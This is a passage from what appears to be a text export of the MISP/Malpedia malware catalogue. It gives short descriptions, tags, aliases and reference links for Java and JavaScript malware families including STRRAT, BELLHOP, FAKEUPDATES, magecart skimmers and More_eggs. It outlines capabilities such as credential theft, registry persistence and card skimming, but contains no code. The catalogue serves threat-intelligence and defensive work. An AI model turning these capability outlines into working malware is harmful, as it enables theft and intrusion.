<td><a href="https://abnormalsecurity.com/blog/tax-customers-sorillus-rat">https://abnormalsecurity.com/blog/tax-customers-sorillus-rat</a></td>
</tr>
</tbody>
</table>

STRRAT

STRRAT is a Java-based RAT, which makes extensive use of plugins to provide full remote access to an attacker, as well as credential stealing, key logging and additional plugins. The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.

Since Version 1.2 and above, STRRAT was infamous for its ransomware-like behavior of appending the file name extension .crimson to files. Version 1.5 is notably more obfuscated and modular than previous versions, but the backdoor functions mostly remain the same: collect browser passwords, run remote commands and PowerShell, log keystrokes, among others. Version 1.5 of STRRAT Malware includes a proper encryption routine, though currently pretty simple to revert.

The tag is: misp-galaxy:malpedia="STRRAT"

STRRAT is also known as:

Table 2124. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat">https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat</a></td>
</tr>
<tr>
<td><a href="https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/">https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign">https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign</a></td>
</tr>
<tr>
<td><a href="https://www.jaiminton.com/reverse-engineering/strrat#">https://www.jaiminton.com/reverse-engineering/strrat#</a></td>
</tr>
<tr>
<td><a href="https://any.run/cybersecurity-blog/strrat-malware-analysis-of-a-jar-archive/">https://any.run/cybersecurity-blog/strrat-malware-analysis-of-a-jar-archive/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1395138347601854465">https://twitter.com/MsftSecIntel/status/1395138347601854465</a></td>
</tr>
<tr>
<td><a href="https://forensicitguy.github.io/strrat-attached-to-msi/">https://forensicitguy.github.io/strrat-attached-to-msi/</a></td>
</tr>
<tr>
<td><a href="https://www.jaiminton.com/reverse-engineering/strrat">https://www.jaiminton.com/reverse-engineering/strrat</a></td>
</tr>
</tbody>
</table>
SupremeBot

The tag is: `misp-galaxy:malpedia="SupremeBot"`

SupremeBot is also known as:

- BlazeBot

Table 2125. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.supremebot">https://malpedia.caad.fkie.fraunhofer.de/details/jar.supremebot</a></td>
</tr>
<tr>
<td><a href="https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/">https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/</a></td>
</tr>
</tbody>
</table>

Verblecon

This malware seems to be used for attacks installing cryptocurrency miners on infected machines. Other indicators leads to the assumption that attackers may also use this malware for other purposes (e.g. stealing access tokens for Discord chat app). Symantec describes this malware as complex and powerful: The malware is loaded as a server-side polymorphic JAR file.

The tag is: `misp-galaxy:malpedia="Verblecon"`

Verblecon is also known as:

Table 2126. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.verblecon">https://malpedia.caad.fkie.fraunhofer.de/details/jar.verblecon</a></td>
</tr>
</tbody>
</table>

AIRBREAK

AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages.
The tag is: misp-galaxy:malpedia="AIRBREAK"

AIRBREAK is also known as:

- Orz

**Table 2127. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak">https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mohawk">https://www.secureworks.com/research/threat-profiles/bronze-mohawk</a></td>
</tr>
</tbody>
</table>

**Bateleur**

The tag is: misp-galaxy:malpedia="Bateleur"

Bateleur is also known as:

**Table 2128. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur">https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-niagara">https://www.secureworks.com/research/threat-profiles/gold-niagara</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/">https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/</a></td>
</tr>
</tbody>
</table>

**BELLHOP**

- BELLHOP is a JavaScript backdoor interpreted using the native Windows Scripting Host(WSH). After performing some basic host information gathering, the BELLHOP dropper downloads a base64-encoded blob of JavaScript to disk and sets up persistence in three ways:
  - Creating a Run key in the Registry
  - Creating a RunOnce key in the Registry
  - Creating a persistent named scheduled task
- BELLHOP communicates using HTTP and HTTPS with primarily benign sites such as Google Docs and PasteBin.
The tag is: misp-galaxy:malpedia="BELLOP"

BELLOP is also known as:

Table 2129. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop">https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop</a></td>
</tr>
</tbody>
</table>

CACTUSTORCH

According to the GitHub repo, CACTUSTORCH is a JavaScript and VBScript shellcode launcher. It will spawn a 32 bit version of the binary specified and inject shellcode into it.

The tag is: misp-galaxy:malpedia="CACTUSTORCH"

CACTUSTORCH is also known as:

Table 2130. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch">https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch</a></td>
</tr>
<tr>
<td><a href="https://github.com/mdsecactivebreach/CACTUSTORCH">https://github.com/mdsecactivebreach/CACTUSTORCH</a></td>
</tr>
<tr>
<td><a href="https://www.codercto.com/a/46729.html">https://www.codercto.com/a/46729.html</a></td>
</tr>
<tr>
<td><a href="https://www.macnica.net/file/mpression_automobile.pdf">https://www.macnica.net/file/mpression_automobile.pdf</a></td>
</tr>
<tr>
<td><a href="https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/">https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/</a></td>
</tr>
</tbody>
</table>

ChromeBack

GoSecure describes ChromeBack as a browser hijacker, redirecting traffic and serving advertisements to users.

The tag is: misp-galaxy:malpedia="ChromeBack"

ChromeBack is also known as:

Table 2131. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
ClearFake

ClearFake is a malicious JavaScript framework deployed on compromised websites to deliver further malware using the drive-by download technique. The malware leverages social engineering to trick the user into running a fake web browser update.

The tag is: misp-galaxy:malpedia="ClearFake"

ClearFake is also known as:

Table 2132. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/js.clearfake
https://blog.sekoia.io/clearfake-a-newcomer-to-the-fake-updates-threats-landscape/

CryptoNight

WebAssembly-based crypto miner.

The tag is: misp-galaxy:malpedia="CryptoNight"

CryptoNight is also known as:

Table 2133. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight
https://twitter.com/JohnLaTwC/status/983011262731714565
https://gist.github.com/JohnLaTwC/112483eb9aed2184966711c722ec

CukieGrab

The tag is: misp-galaxy:malpedia="CukieGrab"

CukieGrab is also known as:

- Roblox Trade Assist

Table 2134. Table References

Links
**DarkWatchman**

Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA for C&C.

The tag is: `misp-galaxy:malpedia="DarkWatchman"`

DarkWatchman is also known as:

*Table 2135. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman">https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/">https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/</a></td>
</tr>
<tr>
<td><a href="https://www.prevailion.com/darkwatchman-new-fileness-techniques/">https://www.prevailion.com/darkwatchman-new-fileness-techniques/</a></td>
</tr>
</tbody>
</table>

**DNSRat**

The tag is: `misp-galaxy:malpedia="DNSRat"`

DNSRat is also known as:

- DNSbot

*Table 2136. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.dnsrat">https://malpedia.caad.fkie.fraunhofer.de/details/js.dnsrat</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/fin7-revisited::inside-astra-panel-and-sqlrat-malware/">https://www.flashpoint-intel.com/blog/fin7-revisited::inside-astra-panel-and-sqlrat-malware/</a></td>
</tr>
</tbody>
</table>

**doenerium**

Open sourced javascript info stealer, with the capabilities of stealing crypto wallets, password, cookies and modify discord clients [https://github.com/doener2323/doenerium](https://github.com/doener2323/doenerium)

The tag is: `misp-galaxy:malpedia="doenerium"`

doenerium is also known as:

*Table 2137. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Enrume

The tag is: misp-galaxy:malpedia="Enrume"

Enrume is also known as:

- Ransom32

Table 2138. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/js.enrume

EVILNUM (Javascript)

According Proofpoint, EvilNum is a backdoor that can be used for data theft or to load additional payloads. The malware includes multiple interesting components to evade detection and modify infection paths based on identified antivirus software.

The tag is: misp-galaxy:malpedia="EVILNUM (Javascript)"

EVILNUM (Javascript) is also known as:

Table 2139. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/js.evilnum
- https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw
- https://securelist.com/deathstalker-mercenary-triumvirate/98177/
- http://blog.nsfocus.net/agentvxapt-evilnum/
- https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html
- https://github.com/eset/malware-ioc/tree/master/evilnum
- https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/
FAKEUPDATES

FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching them. FAKEUPDATES has led to further compromise via additional malware families that include CTHTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYMER, and AZORULT.

FAKEUPDATES has been heavily used by UNC1543, a financially motivated group.

The tag is: misp-galaxy:malpedia="FAKEUPDATES"

FAKEUPDATES is also known as:

- FakeUpdate
- SocGholish

Table 2140. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates">https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/">https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions">https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions</a></td>
</tr>
<tr>
<td><a href="https://experience.mandiant.com/trending-evil/p/1">https://experience.mandiant.com/trending-evil/p/1</a></td>
</tr>
<tr>
<td><a href="https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/">https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1522690116979855360">https://twitter.com/MsftSecIntel/status/1522690116979855360</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee">https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee</a></td>
</tr>
<tr>
<td><a href="https://killingthebear.jorgetesta.tech/actors/evil-corp">https://killingthebear.jorgetesta.tech/actors/evil-corp</a></td>
</tr>
<tr>
<td><a href="https://www.lac.co.jp/lacwatch/report/20220407_002923.html">https://www.lac.co.jp/lacwatch/report/20220407_002923.html</a></td>
</tr>
</tbody>
</table>
GootLoader

According to PCrisk, they discovered GootLoader malware while examining legitimate but compromised websites (mainly websites managed using WordPress). It was found that GootLoader is used to infect computers with additional malware. Cybercriminals using GootLoader seek to trick users into unknowingly downloading and executing the malware by disguising it as a document or other file.

The tag is: *misp-galaxy:malpedia=*"GootLoader"

GootLoader is also known as:

Table 2141. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.gootloader">https://malpedia.caad.fkie.fraunhofer.de/details/js.gootloader</a></td>
</tr>
<tr>
<td><a href="https://gootloader.wordpress.com/2023/01/05/gootloader-command-control/">https://gootloader.wordpress.com/2023/01/05/gootloader-command-control/</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/gootloader-striking-with-a-new-infection-technique">https://www.esentire.com/blog/gootloader-striking-with-a-new-infection-technique</a></td>
</tr>
<tr>
<td><a href="https://experience.mandiant.com/trending-evil/p/1">https://experience.mandiant.com/trending-evil/p/1</a></td>
</tr>
<tr>
<td><a href="https://gootloader.wordpress.com/2023/01/05/what-is-gootloader/">https://gootloader.wordpress.com/2023/01/05/what-is-gootloader/</a></td>
</tr>
</tbody>
</table>
grellos

grellos is a skimmer used for magecart-style attacks.

The tag is: misp-galaxy:malpedia="grellos"

grellos is also known as:

Table 2142. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/js.grellos
https://www.riskiq.com/blog/labs/magecart-medialand/
https://gist.github.com/krautface/2c017f220f2a24141bdeb70f76e7e745
https://community.riskiq.com/article/8c4b4a7a

Griffon

GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim's computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the
infected workstation.

The tag is: misp-galaxy:malpedia="Griffon"

Griffon is also known as:

- Harpy

*Table 2143. Table References*

```plaintext
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon">https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-niagara">https://www.secureworks.com/research/threat-profiles/gold-niagara</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/">https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/">https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/evolution-of-fin7">https://www.mandiant.com/resources/evolution-of-fin7</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape">https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/1059898708286939136">https://twitter.com/ItsReallyNick/status/1059898708286939136</a></td>
</tr>
</tbody>
</table>
```

**inter**

The tag is: misp-galaxy:malpedia="inter"

inter is also known as:

*Table 2144. Table References*

```plaintext
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.inter">https://malpedia.caad.fkie.fraunhofer.de/details/js.inter</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/inter-skimmer-for-all.html">https://www.fortinet.com/blog/threat-research/inter-skimmer-for-all.html</a></td>
</tr>
</tbody>
</table>
```

794
Jeniva
The tag is: misp-galaxy:malpedia="Jeniva"
Jeniva is also known as:

Table 2145. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.jeniva">https://malpedia.caad.fkie.fraunhofer.de/details/js.jeniva</a></td>
</tr>
<tr>
<td><a href="https://imp0rtp3.wordpress.com/2021/08/12/tetris/">https://imp0rtp3.wordpress.com/2021/08/12/tetris/</a></td>
</tr>
</tbody>
</table>

Jetriz
The tag is: misp-galaxy:malpedia="Jetriz"
Jetriz is also known as:

Table 2146. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.jetriz">https://malpedia.caad.fkie.fraunhofer.de/details/js.jetriz</a></td>
</tr>
<tr>
<td><a href="https://imp0rtp3.wordpress.com/2021/08/12/tetris/">https://imp0rtp3.wordpress.com/2021/08/12/tetris/</a></td>
</tr>
</tbody>
</table>

jspRAT
The tag is: misp-galaxy:malpedia="jspRAT"
jspRAT is also known as:

Table 2147. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.jsprat">https://malpedia.caad.fkie.fraunhofer.de/details/js.jsprat</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators">https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/fin13-cybercriminal-mexico">https://www.mandiant.com/resources/fin13-cybercriminal-mexico</a></td>
</tr>
</tbody>
</table>

KopiLuwak
The tag is: misp-galaxy:malpedia="KopiLuwak"
KopiLuwak is also known as:

Table 2148. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak">https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak</a></td>
</tr>
</tbody>
</table>
LNKR

The LNKR trojan is a malicious browser extension that will monitor the websites visited by the user, looking for pages with administrative privileges such as blog sites or web-based virtual learning environments. When the administrative user posts to the page, the infected extension will execute stored cross-site scripting attack and injects malicious JavaScript into the legitimate HTML of the page. This is used to redirect the second-party visitors of the site to both benign and malicious domains.

The tag is: misp-galaxy:malpedia="LNKR"

LNKR is also known as:

Table 2149. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.lnkr">https://malpedia.caad.fkie.fraunhofer.de/details/js.lnkr</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/">https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Zenexer/Lnkr">https://github.com/Zenexer/Lnkr</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/Lnkr-browser-extension/">https://www.riskiq.com/blog/labs/Lnkr-browser-extension/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Zenexer/Lnkr/blob/master/recon/extensions/fanagokaogopceablgmpndejhedkjjb/README.md">https://github.com/Zenexer/Lnkr/blob/master/recon/extensions/fanagokaogopceablgmpndejhedkjjb/README.md</a></td>
</tr>
</tbody>
</table>

magecart

Magecart is a malware framework intended to steal credit card information from compromised eCommerce websites. Used in criminal activities, it's a sophisticated implant built on top of relays, command and controls and anonymizers used to steal eCommerce customers’ credit card information. The first stage is typically implemented in Javascript included into a compromised checkout page. It copies data from “input fields” and send them to a relay which collects credit cards coming from a subset of compromised eCommercees and forwards them to Command and Control servers.
The tag is: misp-galaxy:malpedia="magecart"

magecart is also known as:

**Table 2150. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart">https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/">https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/2efc2782">https://community.riskiq.com/article/2efc2782</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/magecart-group-12-olympics/">https://www.riskiq.com/blog/labs/magecart-group-12-olympics/</a></td>
</tr>
<tr>
<td><a href="https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html">https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/fda1f967">https://community.riskiq.com/article/fda1f967</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AffableKraut/status/1385030485676544001">https://twitter.com/AffableKraut/status/1385030485676544001</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/magecart-medialand/">https://www.riskiq.com/blog/labs/magecart-medialand/</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/">https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/5bea32aa">https://community.riskiq.com/article/5bea32aa</a></td>
</tr>
<tr>
<td><a href="https://sansec.io/research/magento-2-persistent-parasite">https://sansec.io/research/magento-2-persistent-parasite</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/">https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/magecart-nutribullet/">https://www.riskiq.com/blog/labs/magecart-nutribullet/</a></td>
</tr>
<tr>
<td><a href="https://sansec.io/research/magecart-corona-lockdown">https://sansec.io/research/magecart-corona-lockdown</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/">https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/</a></td>
</tr>
<tr>
<td><a href="https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/">https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/017cf2e6">https://community.riskiq.com/article/017cf2e6</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/">https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/">https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218">https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/">https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/">https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/">https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/30f22a00">https://community.riskiq.com/article/30f22a00</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/">https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MBThreatInt/status/1416101496022724609">https://twitter.com/MBThreatInt/status/1416101496022724609</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AffableKraut/status/1415425132080816133?s=20">https://twitter.com/AffableKraut/status/1415425132080816133?s=20</a></td>
</tr>
<tr>
<td><a href="https://geminiauditory.io/magecart-google-tag-manager/">https://geminiauditory.io/magecart-google-tag-manager/</a></td>
</tr>
<tr>
<td><a href="https://www.goggleheadedhacker.com/blog/post/14">https://www.goggleheadedhacker.com/blog/post/14</a></td>
</tr>
<tr>
<td><a href="https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&amp;utm_medium=twitter">https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&amp;utm_medium=twitter</a></td>
</tr>
<tr>
<td><a href="https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html">https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html</a></td>
</tr>
<tr>
<td><a href="https://geminiauditory.io/keeper-magecart-group-infects-570-sites/">https://geminiauditory.io/keeper-magecart-group-infects-570-sites/</a></td>
</tr>
</tbody>
</table>
MiniJS

MiniJS is a very simple JavaScript-based first-stage backdoor. The backdoor is probably distributed via spearphishing email. Due to infrastructure overlap, the malware can be attributed to the actor Turla.Comparable JavaScript-based backdoor families of the actor are KopiLuwak and IcedCoffee.

The tag is: misp-galaxy:malpedia="MiniJS"

MiniJS is also known as:

Table 2151. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.minijs">https://malpedia.caad.fkie.fraunhofer.de/details/js.minijs</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/0ce9aadf6a3fffd85d6189590ece148b2f9d69e0ce1c2b8eb61361eb8d0f98571/details">https://www.virustotal.com/gui/file/0ce9aadf6a3fffd85d6189590ece148b2f9d69e0ce1c2b8eb61361eb8d0f98571/details</a></td>
</tr>
</tbody>
</table>

More_eggs

More_eggs is a JavaScript backdoor used by the Cobalt group. It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are: - d&exec = download and execute PE file - gtfo = delete files/startup entries and terminate - more_eggs = download additional/new scripts - more_onion = run new script and terminate current script - more_power = run command shell commands

The tag is: misp-galaxy:malpedia="More_eggs"

More_eggs is also known as:

- SKID
- SpicyOmelette

Table 2152. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs">https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs</a></td>
</tr>
<tr>
<td><a href="https://expel.com/blog/more-eggs-and-some-linked-in-resume-spearphishing">https://expel.com/blog/more-eggs-and-some-linked-in-resume-spearphishing</a></td>
</tr>
<tr>
<td><a href="https://sec0wn.blogspot.com/2023/03/how-do-you-like-dem-eggs-i-like-mine.html?m=1">https://sec0wn.blogspot.com/2023/03/how-do-you-like-dem-eggs-i-like-mine.html?m=1</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-kingswood">https://www.secureworks.com/research/threat-profiles/gold-kingswood</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/cobalt-gang-2.0">https://blog.morphisec.com/cobalt-gang-2.0</a></td>
</tr>
<tr>
<td><a href="https://github.com/eset/malware-ioc/tree/master/evilnum">https://github.com/eset/malware-ioc/tree/master/evilnum</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/">https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/</a></td>
</tr>
<tr>
<td><a href="https://asert.arbornetworks.com/double-the-infection-double-the-fun/">https://asert.arbornetworks.com/double-the-infection-double-the-fun/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Arkbird_SOLG/status/1301536930069278727">https://twitter.com/Arkbird_SOLG/status/1301536930069278727</a></td>
</tr>
<tr>
